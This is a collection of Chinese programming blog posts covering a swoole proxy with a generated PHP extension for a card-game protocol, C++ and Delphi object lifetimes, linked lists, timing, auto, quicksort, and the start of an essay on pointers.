最近使用swoole开发一个斗地主服务端的代理层，任务不难，排除几个swoole的 segment fault（注1） 都好说。通俗点说就是将socket转变成websocket。这个很简单，关键的是也不知道哪个混蛋在最初的时候不使用浏览器的 typed array 去解析协议而是想到了将协议 struct 转变成 json 给客户端读（注2） 。这个就蛋疼了。

浩大的工程量开始了：





当然幸好95%都不是我写的。不过剩下的5%也不是人能承受的。

虽然我写了一个PHP的c struct 分析器使得以下这样变为了可能。

$struct = <<<EOT
    int askid;
    BYTE flag;
    char bversion[16];
    char pversion[16];
    char uversion[16];
    //string errmsg[32+1];
EOT;

$tmp = PHPStruct::load($struct)->encode(false)->unpack($body);

但是这只是很简单的分析，对于变态的 C++ 就显得很无能了。

//在使用中的(时效)道具
struct RespUsingPropList
{
    enum { XY_ID = CMDT_RESPUSINGPROPLIST };
    
    int askid;
    int num;
    int proptype[MAX_PROP_NUM];//时效类type
    int timeEnd[MAX_PROP_NUM];
    
    void reset() { memset(this, 0, sizeof(*this)); }
    RespUsingPropList() { reset(); }
    friend bostream& operator<<(bostream& bos,const RespUsingPropList& rhs)
    {
        bos << rhs.askid;
        bos << rhs.num;
        for(int i=0;i<rhs.num;++i)
        {
            bos << rhs.proptype[i];
            bos << rhs.timeEnd[i];
        }
        return bos;
    }
    friend bistream& operator>>(bistream& bis,RespUsingPropList& rhs)
    {
        rhs.reset();
        bis >> rhs.askid;
        bis >> rhs.num;
        for(int i=0;i<rhs.num;++i)
        {
            bis >> rhs.proptype[i];
            bis >> rhs.timeEnd[i];
        }
        return bis;
    }
    
};

对的，他使用的不是 memcpy，使用的是运算符的重载。struct只是控制了溢出跟顺序，里面的内容它并不控制了。

这让我非常的愤慨，既然这样我只能拿出大杀器了。



具体的装逼思路是这样的：找一个 C++ 语法分析器，解析出AST，遍历一下生成C++的代码（因为协议文件是C++的，为了能利用只好是C++的了），然后再包装成PHP扩展，最后给PHP调用。

我操，这么崎岖的装逼路线已经超越了我的能力范畴了。

不过幸好在装逼路上我找到了 Antlr、 PHP-CPP 再加上一个Antlr 3的PHP runtime，我操完美啊。

当然这条路还是非常崎岖的，毕竟我在最开始想的太美好了。比如至今没找到能生成C++ PHP Parser的Antlr 语法描述文件。找到都是Java C++的。尝试的改了一下发现。 No Zuo No Die啊。



后来发现不行啊，卡在AST这条路上太久了（虽然可以使用其他工具生成AST.xml然后PHP分析），便果断退而求其次，来来Parser没有，Lexer总有吧，找到一个C的Antlr语法描述文件。点击生成Generate Lexer Code居然真的生成了。然后咱们就用起来呗。



剩下的都是好写的。

static Php::Value pack<?php print $struct['name'];?>(Php::Parameters &params)
    {
        try {
            Php::Value tmp;
            Php::Value arr = params[0];
            <?php print ($namespace ? $namespace . '::' : '');?><?php print $struct['name'];?> obj;
            obj.reset();

    <?php foreach($struct['list'] as $val): ?>

    <?php if(in_array($val['type'], ['int', 'char']) && !isset($val['number'])) : ?>
            obj.<?php print $val['name']; ?> = (int)arr.get("<?php print $val['name']; ?>");
    <?php elseif(in_array($val['type'], ['int']) && isset($val['number'])) : ?>
            obj.<?php print $val['name']; ?> = (int)arr.get("<?php print $val['name']; ?>");

最终生成的代码是这样的，非常简单是不是啊，毕竟引入了原来的Struct文件跟PHP-CPP封装了好多东西。

      static Php::Value packPlayerConnect(Php::Parameters &params)
    {
        try {
            Php::Value tmp;
            Php::Value arr = params[0];
            Protocol::V10::ToolMobile::PlayerConnect obj;
            obj.reset();

    
                obj.askid = (int)arr.get("askid");
        
                tmp = arr.get("userid");
            if(!tmp.isString()) {
                throw Php::Exception("userid is not a string");
            } else {
                memcpy(obj.userid, (const char *)tmp, tmp.length() >= (Protocol::V10::ToolMobile::MAX_USERID+1) ? (Protocol::V10::ToolMobile::MAX_USERID+1) : tmp.length());
            }
        
                obj.numid = (int)arr.get("numid");
        
                            tmp = arr.get("sessionid");
            if(!tmp.isString()) {
                throw Php::Exception("sessionid is not a string");
            } else {
                memcpy(obj.sessionid, (const char *)tmp, tmp.length() >= (16) ? (16) : tmp.length());
            }
        
                obj.logintype = (int)arr.get("logintype");
        
                obj.gameid = (int)arr.get("gameid");
        
                tmp = arr.get("passwd");
            if(!tmp.isString()) {
                throw Php::Exception("passwd is not a string");
            } else {
                memcpy(obj.passwd, (const char *)tmp, tmp.length() >= (Protocol::V10::ToolMobile::MAX_PWD+1) ? (Protocol::V10::ToolMobile::MAX_PWD+1) : tmp.length());
            }
        
                tmp = arr.get("devid");
            if(!tmp.isString()) {
                throw Php::Exception("devid is not a string");
            } else {
                memcpy(obj.devid, (const char *)tmp, tmp.length() >= (Protocol::V10::ToolMobile::MAX_DEVID+1) ? (Protocol::V10::ToolMobile::MAX_DEVID+1) : tmp.length());
            }
        
                tmp = arr.get("nickname");
            if(!tmp.isString()) {
                throw Php::Exception("nickname is not a string");
            } else {
                memcpy(obj.nickname, (const char *)tmp, tmp.length() >= (Protocol::V10::ToolMobile::MAX_NICKNAME+1) ? (Protocol::V10::ToolMobile::MAX_NICKNAME+1) : tmp.length());
            }
        
                obj.clienttype = (int)arr.get("clienttype");
        
                obj.osver = (int)arr.get("osver");
        
                obj.ip = (int)arr.get("ip");
        
                obj.channelid = (int)arr.get("channelid");
        
                obj.version = (int)arr.get("version");
        
                obj.devtype = (unsigned char)(int)arr.get("devtype");
        
                obj.areaid = (int)arr.get("areaid");
        
                tmp = arr.get("token");
            if(!tmp.isString()) {
                throw Php::Exception("token is not a string");
            } else {
                memcpy(obj.token, (const char *)tmp, tmp.length() >= (Protocol::V10::ToolMobile::MAX_TOKEN+1) ? (Protocol::V10::ToolMobile::MAX_TOKEN+1) : tmp.length());
            }
        
                obj.loginflag = (int)arr.get("loginflag");
        
            char buffer[Protocol::PROTOCOL_MAXSIZE];
            bostream bos;
            bos.attach(buffer, sizeof(obj));
            bos << obj;
        
            Php::Value str(buffer, (int)bos.length());
            return str;
        } catch(biosexception e) {
            char error[32];
            sprintf(error, "exception: %d", e.m_cause);
            throw Php::Exception(error);
        }
    }

然后开心的执行一下：

make clean && make  && sudo mv ddz_protocol.so /usr/lib/php5/20131226/

不对再返回回去修修改改，将他放到正式环境。

$data = \DDZProtocol::packPlayerConnect([
            'askid' => 0,
            'userid' => $userid,
            'numid' => 0,
            'sessionid' => '',
            'logintype' => $logintype,
            'gameid' => $this->gameId,
            'passwd' => $passwd,
            'devid' => '',
            'nickname' => '',
            'clienttype' => 2,
            'osver' => 10000,
            'ip' => $ip,
            'channelid' => 10001,
            'version' => 10104,
            'devtype' => 0,
            'areaid' => 0,
            'token' => $token
        ]);
        var_dump(base64_encode($data));

//        $data  = pack('i', 0);// 1. askid
//        $data .= $this->packStr($userid);// 2. userid
//        $data .= pack('i', 0);// 3. numid
//        $data .= $this->packStr('');// 4. sessionid
//        $data .= pack('i', $logintype);// 5. logintype
//        $data .= pack('i', $this->gameId);// 6. gameid
//        $data .= $this->packStr($passwd);// 7. passwd
//        $data .= $this->packStr('');// 8. devid
//        $data .= $this->packStr('');// 9. nickname
//        $data .= pack('i', 2);// 10. clienttype
//        $data .= pack('i', 10000);// 11. osver 操作系统版本号
//        $data .= pack('i', (int)$ip);// 12. ip
//        $data .= pack('i', 10001);// 13. channelid
//        $data .= pack('i', 10104);// 14. version
//        $data .= pack('C', 0);// 15. devtype
//        $data .= pack('i', 0); // 16. areaid
//        $data .= $this->packStr($token);// 17. token

玩一下斗地主，居然成功了，顿时觉得世界非常的美好。如果我将全部代码生成我操，那将是我第一个1W行代码的C++文件。哇哈哈哈哈哈哈。

总结：合理利用工具，你将在装逼的路上越走越远。 

顺便无耻的回答了下 无耻的人的问题： 使用ANTLR对C++代码进行语法分析并生成抽象语法树

注1:
确实是swoole的问题，因为将代码写法从

var func = function(){
    blabla...
    setTimeout(func, 2000);
};

改成

var func = function(){
    setInterval(function(){
        blabla...
    }, 2000);
};

都能提升服务稳定性。

注2:
额 当然也是有好处的 gbk转换成unicode 对于前端来说还是需要码表的 这个放在移动端就不好了...
还有客服端跟服务端做了ＡＥＳ加密....


 日本雅虎程序员跳槽程序测试问题

作者：pezy
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原题请见：http://segmentfault.com/q/1010000002627415


我的答案是用简短的递归来解，后来有空想了想传统 DP 的解法，发现也不难。推导过程如下：


S[0] = 0
S[1] = 1
S[2] = 1,1 | 2
S[3] = 1,2 | 1,1,1 | 2,1 | 3
S[4] = 1,3 | 1,1,2 | 2,2 | 1,2,1 | 1,1,1,1 | 2,1,1 | 3,1 |
       ^^^   ^^^^^^^^^^^   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    S[1] + "3"  S[2] + "2"        S[3] + "1"
...
S[n] = S[n-3] + S[n-2] + S[n-1]
       ^^^^^^   ^^^^^^   ^^^^^^
       S + "3"  S + "2"  S + "1"



公式一出，DP 再无难点。直接根据公式建表，然后返回表尾即可。


cppstd::vector<std::string> step(int n) {
    if (n < 1) return std::vector<std::string>{};
    std::vector<std::vector<std::string>> cache( n > 3 ? n+1 : 4);
    cache[1] = {"1m"};
    cache[2] = {"1m,1m", "2m"};
    cache[3] = {"1m,2m", "1m,1m,1m", "2m,1m", "3m"};
    for (int i = 4; i <= n; ++i) {
        for (const auto& s: cache[i-3])
            cache[i].push_back(s + ",3m");
        for (const auto& s: cache[i-2])
            cache[i].push_back(s + ",2m");
        for (const auto& s: cache[i-1])
            cache[i].push_back(s + ",1m");
    }
    return cache[n];
}

int main()
{
    for (const auto& s : step(4))
        std::cout << s << std::endl;
}



注意：这道题限制要求输出全部结果，这直接导致无论如何优化也只能是指数级的复杂度。故，说 DP 是不严谨的，只是往 DP 的思路上靠罢了。


 -C++和Delphi在构造和析构上的语法比较

作者：xumenger
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前言

在学习Delphi的时候，和C/C++以及Java进行类比，是很好的学习方法，一方面可以同时加深对两种语言的理解，另一方面可以深入理解超越语言本身的知识：编译原理、内存管理等底层知识、设计模式、面向对象……知识，所以学习一定要有策略。

Delphi永远没办法在栈上创建一个对象

下面是一段常见的Delphi代码，在过程的开头声明本过程所需要的全部局部变量

procedure Foo
var
    obj : TObject;
begin
    ...
end;


C++程序员会以为这个变量就是TObject对象实例本身，会以为这一句是在栈上声明并构造了TObject类的一个对象实例，它们会与下面的C++代码混淆

void Foo(){
    CObject obj;    //这一句的确是在栈上构造了TObject类的一个对象实例
                    //并且将在离开Foo函数自动析构它
    ...
}


牢记着一点，在Delphi中，永远不可能在栈上构造一个对象，也永远不可能对一个对象进行值传递，程序员能看到的是“指向对象实例的指针”，简单地说“一切皆指针”，上例中的obj其实就是一个“TObject类型的指针”，当它在栈上被声明的时候，它的值不可知（与C++一样），也没有任何对象被构造出来，特别注意Delphi的这个特性，与C++作比较。上面的代码翻译成C++，基本上是

void Foo(){
    CObject * obj;    //声明一个CObject类型的指针，但没有任何对象被构造或与之关联
    ...
}


作为一个佐证，在Delphi里，sizeof(TObject)、sizeof(Self)、sizeof(obj)，结果都是4，即一个32位指针的大小。

Delphi的构造函数更像是一个类方法

类方法，在C++中又叫做静态成员函数。

由于Delphi不允许在栈上构造对象，那么对象实例就只能创建在堆上，Delphi没有关键字new（导师有一个名为New 的procedure），而是用一种有别于C++的语法来在堆上构造对象：

procedure Foo;
var 
    obj :TObject;    //obj本质上是一个TObject类型的指针
begin
    obj := TObject.Create;    //在堆上构造一个TObject对象并将其地址赋值给obj
    obj.Free;    //令obj指向的对象析构
end;


与C++一样，在堆上构造的函数不会在离开作用域的时候被自动解析，所以在离开Foo这个过程之前，要调用TObject的Free方法来析构它。Free方法会调用Destorey析构函数，只不过在调用之前会判断Self是否为空，如果为空就直接返回。Delphi里的Self，就是C++中的this。

Delphi是单根继承，所有类都从TObject派生而来，而所有类的构造函数一定名为Create，而析构函数一定名为Destory，当然，析构函数肯定是虚函数

从声明的形式上看，Create方法是一个成员函数，但是从使用上来看，它更像是一个类方法（C++中叫做静态成员函数），因为调用它的时候，限定名不是对象，而是类名（Txxx.Create）

Delphi的析构函数中可以调用纯虚方法

由于在Delphi的析构函数Destory里，可以调用任何纯虚函数（在C++里这一点是不可想象的），所以可以认为这个时候，虚方法表有一定未被破坏，那么，如果基类就可以决定析构时一定要调用的函数，哪怕这个函数是虚函数，甚至是纯虚函数。

Delphi在构造的时候自动将成员变量清零

任何一个Delphi中的类，当它被构造之后，它的所有成员变量被清零，布尔类型初始化为False，字符串初始化为空，整型和浮点型初始化为0，等等。而在C++里面就没有这样的保证

Delphi构造函数中抛出异常会自动先调用析构函数

Delphi中，如果构造函数中抛出异常，则会自动先执行析构函数，然后再把异常向外抛出；而在C++里，构造函数中若有异常抛出，则析构函数不会被调用

Delphi简化了COM接口中的AddRef、Release和QueryInterface

C++里一般用模板对COM接口进行封装，而在Delphi里面，AddRef、Release以及QueryInterface都被编译器隐藏掉了，当把一个IUnknown类型的变量（本质上也是一个指针）赋值给另一个变量师，编译器在背后自动AddRef，当一个IUnknown变量离开作用域的时候（再也没有人使用它），Release被自动调用，而QueryInterface被抽象为AS运算符

procedure Foo(const AParam : IUnknown);
var
    bar : IUnknown;
    other : IStream;
begin
    bar := AParam;    //Aparam指向的实例由于赋值操作被AddRef一次
    other := bar as IStream;    //调用了一次QueryInterface，引用计数再次加以
end;    //返回时，other和bar都离开作用域，分别被调用Release各一次


C++中使用模板（比如_com_ptr）也都可以使引用计数自动化，不过QueryInterface就没有这么方便了。

其他关于构造函数


	在C++中声明一个对象后，编辑器会主动调用构造函数，Delphi中则需要程序员主动调用，这是Delphi的一个麻烦处，析构也有些类似。通过Free进入Destory只是因为Free函数本身的实现调用了Destory函数


	
以下面代码为例，在Delphi中，这里的test 实际上是指针（一定要记住）；所以必须主动调用构造和析构函数。

var

   test: TMyClass;

begin
   ...
   end;



	一般自己创建的对象要自己去释放，但对于有owner 的控件（调用 Create(Owner) ）可以不用释放，由拥有它的组件释放


	
对象还没有创建时对象指针是nil，例子

if test<> nil then

   ...




	Delphi里所有的类的对象分配全部使用堆分配的方式，而C++里允许栈分配的方式（MyObject obj;），使用栈分配的方式时（比如函数中的局部变量）在生存期结束时，会自动调用析构函数进行释放相关资源！但是如果是堆分配方式的话（如C++中使用 new 关键字，或者Delphi中使用Create 函数），那么如果需要释放实体就必须显示声明（如free或Destory）


	为了节约内存，优化运行，我们总是动态创建组件。可当用完之后，如果不及时彻底的将其从内存中清除出去，那么久有违我们的初衷。可怎么“杀死”所创建的组件？比如创艰了一个Edit控件，现在想让他消失，但是用Edit.Free 之后，调用 Edit.Text 却仍然存在……我们知道，光Free是不行的，只是将Edit所指向的内存空间释放了，但是指针并没有设为 nil ，当调用Edit.Text 的时候，Delphi仍然会根据Edit 提供的指针访问已经释放的内存区域，所以会产生 Access Violation（违法访问内存）……错误。所以我们需要Free之后，在将 Edit := nil，或zheFreeAndNil（只在Delphi5下有效）将指针nil 掉，才能保证以后的正常运行





 再写LinkedList

作者：yuxue
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再写LinkedList

为嘛是再写，其实关于Data Structure，我觉得自己真心已经疼爱过他们一次了，奈何学艺不精，所以一直想找机会再仔细看一次，这样既然再次有了疼爱他们的机会，那么也就认真的再爱一次。

C++ 与 C

C到C++，感觉像折翼的天使。好吧，其实问题的关键是在于不要流程化思维和硬想要的OOP思维。

另外，C++的野心太大：
template模板/通用编程 以及 语法糖 还有 编译重载有的时候让C++读起来显得吓人，晦涩难懂，特别是对于初学者。
还是不能一口吃掉一个大饼，还是先写类似C的C++，再来写像C++的C++.

Mac上编译C++11

$ clang++ -std=c++11 -stdlib=libc++ t.cpp

不谢

LinkedList_v1 (C style C++？)

struct node

struct node{
  int data;
  node* next;
}

insert node/val  at head

值得注意的是： 如果要在头上插入node，这里传入的时node *&head
所谓的pass by reference，如果写C的话，那么估计应该写 node **head

// pass head by reference, since the head will be changed
void insertFront(node *&head, int n){
    node *tmp = new node;
    tmp->data = n;
    tmp->next = NULL;
    
    if (head == NULL) {
        head = tmp;
    } else {
        tmp->next = head;
        head = tmp;
    }
}

traverse 遍历的方法千千万

这里其实不引入curr变量应该也ok，因为传入的是node* head，把head这个pointer按值传入

void traverse(node* head){
    for (node* curr = head; curr != NULL; curr = curr->next)
        cout << curr->data << " ";
    cout << endl;
}

跟for循环异曲同工

void traverse2(node* head){
    while (head) {
        cout << head->data <<" ";
        head = head->next;
    }
    cout << endl;
}

用递归来traverse

void traverseRec(node* head){
    if (head == NULL) return;
    cout << head->data << " ";
    traverseRec(head->next);
}

来寻找一个值/node

bool findVal(node *head, int val){
    if (head == NULL) return false;
    if (head->data == val) return true;
    return findVal(head->next,val);
}

还可以返回值的地址
我调皮的打印发现NULL的地址是0x0;

node* find(node *head, int val){
    if (head == NULL) return NULL;
    if (head->data == val) return head;
    return find(head->next,val);
}

deleteNode或许可以优化


void deleteNode(node *&head, int n){
    //if not found, just return;
    if (!findVal(head,n)) return;
    
    node* prev = NULL;
    node* curr = head;
    // the delete node is at head
    if (head->data == n){
        head = head->next;
        delete curr;
    } else {
        while (curr->data != n) {
            prev = curr;
            curr = curr->next;
        }
        prev->next = curr->next;
        delete curr;
    }
}

没有在这个上面花second thought，挑了一个方便走的方向就赶着走了出来，或许这个是可以优化的

reserveList才是真神作

void reverseList(node *&head){
    node* prev = NULL;
    node* curr = head;
    node* next = NULL;
    
    while (curr != NULL) {
        next = curr->next;
        curr->next = prev;
        prev = curr;
        curr = next;
    }
    head = prev;
}


void reverseListRec(node* &head){
    node* first;
    node* rest;
    
    if (head == NULL) return;
    
    first = head;
    rest = first->next;
    
    if (rest == NULL) return;
    
    reverseListRec(rest);
    
    first->next->next = first;
    
    first->next = NULL;
    head = rest;
    
}


无论是recursive还是loop类型的reverse linked list都让我感觉是真神作算法啊~

P.S. 太懒了，暂时就把代码折让扔着，然后等待更简洁，更可爱，更迷人，更可人的linkelist_v2吧（假装就是这样）


 我的c++最佳实践

作者：wangdai
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迭代时删除容器中的元素



  http://www.cplusplus.com/reference/vector/vector/erase/
http://stackoverflow.com/questions/1604588/iterate-vector-remove-certa...




删除元素可能导致内存变动，因此迭代器会更新它的值，我们应用erase返回的新的迭代器，否则可能导致访问到不应该访问的内存。


for (auto it = container.begin(); it != container.end();) {
    if (condition) {
        it = container.erase(it);
    } else {
        it++;
    }
}



多维数组



  http://www.cplusplus.com/forum/articles/7459/




STL vector


#include <vector>
using namespace std;

int main() {
    // construct array2D[HEIGHT][WIDTH]
    vector<vector<double> > array2D;

    array2D.resize(HEIGHT);
    for (int i = 0; i < HEIGHT; ++i)
        array2D[i].resize(WIDTH);


    // construct array3D[HEIGHT][WIDTH][DEPTH]
    vector<vector<vector<double> > > array3D;

    array3D.resize(HEIGHT);
    for (int i = 0; i < HEIGHT; ++i) {
        array3D[i].resize(WIDTH);
        for (int j = 0; j < WIDTH; ++j)
            array3D[i][j].resize(DEPTH);
        }

    return 0;
}



这种方法的好处是不用自己手动释放内存，而且数组大小可以动态变化（不过通常我们使用多维数组时不会变化它的大小）。

缺点是比较丑陋，一串vector会很长，尤其是> >不能连在一起否则编译器会认为是移位或者流提取运算符，尽管在c++11中可以连在一起写了。


指针


int main() {
    // construct p2DArray[HEIGHT][WIDTH]
    double **p2DArray;

    p2DArray = new double*[HEIGHT];
    for (int i = 0; i < HEIGHT; ++i)
        p2DArray[i] = new double[WIDTH];

    for (int i = 0; i < HEIGHT; ++i)
        delete [] p2DArray[i];
    delete [] p2DArray;


    // construct p3DArray[HEIGHT][WIDTH][DEPTH]
    int ***p3DArray;

    p3DArray = new int**[HEIGHT];
    for (int i = 0; i < HEIGHT; i++) {
        p3DArray[i] = new int*[WIDTH];
        for (int j = 0; j < WIDTH；j++) {
            p3DArray[i][j] = new int[DEPTH];
        }
    }

    for (int i = 0; i < HEIGHT; ++i) {
        for (int j = 0; j < WIDTH; ++j) {
            delete [] p3DArray[i][j];
        }
        delete [] p3DArray[i];
    }
    delete [] p3DArray;
}



这样的数组简洁明了，但要自己手动释放内存， 顺序还不能错，比较容易出问题。


 运行时间测量技术

作者：pezy
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在优化某段程序之前，我们往往需要确定其运行时间，通过对比优化前后的时间，来衡量优化的力度。


那么问题来了，除了借助操作系统 time 命令这种方式，有没有直接在代码中嵌入时间测量的方法呢？


C++ 中比较传统的方式是使用 C 库中的<ctime>.


cpp#include <ctime>
using namespace std;

int main()
{
    clock_t begin = clock();

    // your codes

    clock_t end = clock();
    double elapsed_secs = static_cast<double>(end - begin) / CLOCKS_PER_SEC;
    cout << elapsed_secs << " s" << endl;
}



这种方式实际上是可以精确到毫秒的，如果再想更加精确，就有点难了。




今天介绍一种借助 std::chrono::duration 与 lambda 函数的方法，相比之下更加 C++ 一些。


cpp#include <chrono>

template<typename TimeT = std::chrono::milliseconds>
struct measure
{
    template<typename F, typename ...Args>
    static typename TimeT::rep execution(F func, Args&&... args)
    {
        auto start = std::chrono::system_clock::now();

        // Now call the function with all the parameters you need.
        func(std::forward<Args>(args)...);

        auto duration = std::chrono::duration_cast< TimeT>
            (std::chrono::system_clock::now() - start);

        return duration.count();
    }
};

struct functor
{
    int state;
    functor(int state) : state(state) {}
    void operator()() const
    {
        std::cout << "In functor run for ";
    }
};

void func()
{
    std::cout << "In function, run for " << std::endl;
}

int main() 
{
    // codes directly
    std::cout << measure<>::execution([&]() {
        // your code
    }) << " ms" << std::endl;

    // functor
    std::cout << measure<>::execution(functor(3)) << std::endl;

    // function
    std::cout << measure<>::execution(func);
}



改变精度，仅需修改 template<typename TimeT = std::chrono::milliseconds> 中的参数即可：



	milliseconds : 毫秒

	microseconds : 微秒

	nanoseconds : 纳秒
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自动推导基础


auto 关键字的推导过程完全处于 compile-time，所以并不会影响程序性能。应该放心大胆的使用。


cppauto i = 1; // i will become int
auto l = 1LL; // l will become long long
auto d = 1.0; // d will become double
auto f = 1.0f; // f will become float

std::vector<int> ivec{1, 2, 3, 4, 5};
for (auto i : ivec) std::cout << i << " "; // 1 2 3 4 5



这样使用 auto 可能会要求你记住一些字面量的类型标识：



	前置


	标识
  	含义
  	类型





	u
  	Unicode 16 character
  	char16_t



	U
  	Unicode 32 character
  	char32_t



	L
  	wide character
  	wchar_t



	u8
  	utf-8(string literals only)
  	char









可能经常用 VS 和  Windows API 的人比较熟悉 L，用来标识宽字符。(不得不说，这一点，微软还是挺超前的)



	后置


	字面量
  	标识
  	类型





	整型
  	u / U
  	unsigned



	整型
  	l / L
  	long



	整型
  	ll / LL
  	long long



	浮点
  	f / F
  	float



	浮点
  	l / L
  	long double









这些与 C 语言一脉相承，应该比较熟悉了。




特殊情况


cppauto str = "hello";



请问，str 是什么类型？最近才发现，很多初学者竟然想当然的认为str是std::string.（尤其是没有 C 语言基础的）


实际上，str 此时是 const char *.


所以当你对 str 进行 range for 的时候，就会傻眼。


cppfor (auto c : str) { // error! str 没有 begin() 和 end()
//...
}



上述情况应该如何避免？


cppauto& str = "hello";



请问，str是什么类型？


是 const char[6]. 这是一个数组了，那么 range for 当然没问题了。


还有别的方法吗？


当然，右值引用不是吃闲饭的：


cppauto&& str = "hello";



range for 照样没问题。请问 str 此刻是什么类型？


是 const char(&)[6].


这都是非常基础的内容，你都清楚吗？


另外补充一个：


cppauto il = {1, 2, 3, 4, 5, 6};



不要觉得 il 会是 std::array 或 普通数组，甚至是 std::vector. 它的类型应该是: std::initializer_list。




什么时候该用 auto




	一种说法是：能用 auto 的地方都该用。（尤其是受到 python 等动态语言影响的人）。

	另一种说法：auto 会让代码变得不直观，在一个强类型的语言中，会搞得人莫名其妙。



经过一段时间的疯狂实践。我觉得上述两种观点都有失偏颇。


其实，开始我是支持第一种观点的，于是开始大量使用 auto, 直到有一天 review 自己的代码时。竟然发现很多变量完全看不出是什么类型。如：


cppauto foo = bla(); // 请问 foo 你能看出类型来吗？



这就傻眼了。违反了最基本的程序设计原则——“清晰易懂，方便扩展”，看都看迷糊了，扩展毛啊。


但有些情况，其实极大程度上的简化了程序，使之简洁明了：


cppauto foo = std::make_shared<Foo>(); // 一看就知道类型

for (auto iter = vec.cbegin(); iter != vec.cend(); ++iter) {} // 一看就知道类型



上述两种情况下，把 auto 扩展开来，会显得重复、冗长。


这两个例子，应该能够说明使用 auto 的那条 “金线” 在哪了。我们的目的不是为了用而用，而是尽可能的让自己的程序，易于维护，保持新鲜。


故，不要滥用，不要避讳。


 面试官，您要的快排
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今天看到 V2EX 上有人讨论 社招还会问 “请手写选择排序算法” 吗？，看来还是有很多人关心的。结合自己最近面试的经历，我可以明确的告诉大家，类似这种问题，只要你的工作经验小于 10 年，基本上逃不掉。劝大家不如抽点时间早做准备。

简式快排

面试中遇到问快排的，如上面那个帖子中的情况。你就可以上一份简式快排了，何谓简式？最短的代码表述快排的思想。

快排的思想，实质是分治法。基于什么来分？找一个支点来分，通常称之为 pivot, 而这个分的过程称之为 partition, 基于以上两点，我们用递归的方式描述快排：

void quicksort(int arr[], int l, int r) {
    if (l < r) {
        int pivot = partition(arr, l, r);
        quicksort(arr, l, pivot-1);
        quicksort(arr, pivot+1, r);
    }
}

如何？简单吧。有人说面试的时候手写快排，如果提前没有背下来的话，肯定歇菜。我不认为这样基础的算法是需要背的，上面这个递归，如此简洁，如此美，真的需要硬记？

有人说，这个好理解，关键在于 partition 如何实现。的确，partition 是快排的灵魂。CLRS 里采用了以尾巴为支点的策略，我在这里与其保持一致：

int partition(int arr[], int l, int r) {
    int k = l, pivot = arr[r];
    for (int i = l; i < r; ++i)
        if (arr[i] <= pivot) std::swap(arr[i], arr[k++]);
    std::swap(arr[k], arr[r]);
    return k;
}

这算法用白话说，就是从头到尾迭代，和支点比较，大的不管，小的换。换了才往后看。最后支点戳中间，算是分界线。

如


3,7,8,5,2,1,9,5,4


这么来一下，就成了：

3,2,1,4,7,8,9,5,5
^^^^^ | ^^^^^^^^^


然后同样的手法分别解决两边，这样递归的解下去。

来份三明治

其实上面的那份，已经可以解决面试中的问题了。但其实有很大的缺陷，如当所有元素都相同的情况下，partition 将一直返回 r, 递归的深度高达 N，每一次递归中 partition 又循环 N 次，时间复杂度直接飙到了 O(N^2). 这显然非常的不值当。

于是我们觉得分两份太粗，分三份试试？

如

5 7 4 3 1 2 6 5 5


也来那么一下，成为:

4 3 1 2 5 5 5 7 6
^^^^^^^ |   | ^^^


这就是三明治的原理了，左边是小于 pivot 的，中间是等于 pivot 的，右边是大于 pivot 的。中间部分不参与递归，分治的是两边。

我们需稍稍改变下 partition 的实现，显然我们这次希望返回的两个支点（左右边界）：

// 3-way partition
std::pair<int, int> partition(int arr[], int l, int r) {
    int k = l, p = r;
    for (int i = l; i < p; )
        if (arr[i] < arr[r]) std::swap(arr[i++], arr[k++]);
        else if (arr[i] == arr[r]) std::swap(arr[i], arr[--p]);
        else ++i;
    // move pivots to centre
    int m = std::min(p-k, r-p+1);
    for (int i = 0; i < m; ++i)
        std::swap(arr[k+i], arr[r-i]);
    return std::make_pair(k, r-p+k);
}

而 quicksort 也需要稍稍改变一点：

void quicksort(int arr[], int l, int r) {
    if (l < r) {
        auto pivot = partition(arr, l, r);
        quicksort(arr, l, pivot.first-1);
        quicksort(arr, pivot.second+1, r);
    }
}

如果在遇到全部元素相同的情况，时间复杂度成功的减少到 O(N). 算是一个突破吧。

东北乱炖

其实 CLRS 随后还提到了以随机位置为 pivot 的思路，我称之为东北乱炖。那是只针对 pivot 选取的改变，基于上述代码，改造起来是非常容易的。这里就不做过多实现，留作感兴趣者自己练习吧。



上述三道菜，基本能够解决面试中可能遇到的种种情况了。让面试官吃饱，很有必要~


 面向指针编程
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面向对象编程，面向设计模式编程（亦即设计模式），面向接口编程，面向模板编程（亦即泛型编程），面向函数编程（亦即函数式编程），面向多核时代的并行编程，面向大数据的机器学习编程……这么多年，大家要面向的东西已经够多了，然而我看到的现象是，很多编程语言让大家面向 xxx 的同时在竭力回避指针。我可不想面向这么多东西，所以我只好加入指针的黑暗势力。我要不自量力的来写一篇《面向指针编程》作为投名状，借以表示我与软件世界的光明势力的彻底决裂。

这个世界上，提供指针的编程语言很少，这样的语言有汇编语言、C/C++ 以及 Pascal 等。Pascal 我没学过。汇编语言过于黑暗，我现在功力还不足以驾驭它。C++，我觉得它简直是黑暗势力中的败类——它试图挣脱指针，走向光明，结果却出了一堆幺蛾子。所以我还是俗套的选 C 语言来阐述指针的黑暗力量。

阅读本文之前，请读三遍无名师说的话：当尊者 Ritchie 发明 C 时，他将程序员放到缓冲溢出、堆损坏和烂指针 bug 的地狱中惩罚。然后自我安慰一下，如果地狱未能使我屈服，那么我会比地狱更黑暗更强大。

指针是什么？

内存是以字节为单位的一个很大但是又经常不够用的空间。指针是内存中 x 个连续的字节中存储的数据——在 32 位的机器上，x 的值为 4；在 64 位机器上，x 值为 8。为了叙述的简便，本文只在 64 位的机器上谈论指针。

指针是一种数据，这没什么稀奇的。从机器的角度来看，程序的一切是存放在数组中的数据。只有那些自作多情的程序猿才会像亚里士多德一样自作多情的认为程序是由对象 + 方法或者许多函数复合而成的。事实上，从最远离机器的 Lisp 语言的角度来看，程序的一切也都是数据，存放在表中的数据。如果忽视程序本身就是数据这个客观事实，程序猿们很容易就走上了形而上学的道路，然后他们会度过漫长的、罪恶的、痛苦的中世纪，膜拜着一个又一个神棍，当然期间也出现了几位圣·奥古斯丁。

那么，指针中存储着什么数据？内存地址。

内存是以字节为单位的空间，其中每个字节都伴随着一个地址，这个地址机器赋予的，并不是我们的程序编制的。你可以将整个内存空间想象成一栋大楼，将字节想象为大楼中每个房间，将每个字节的地址想象为房间的门牌号，于是指针中存储的数据就类似于门牌号。

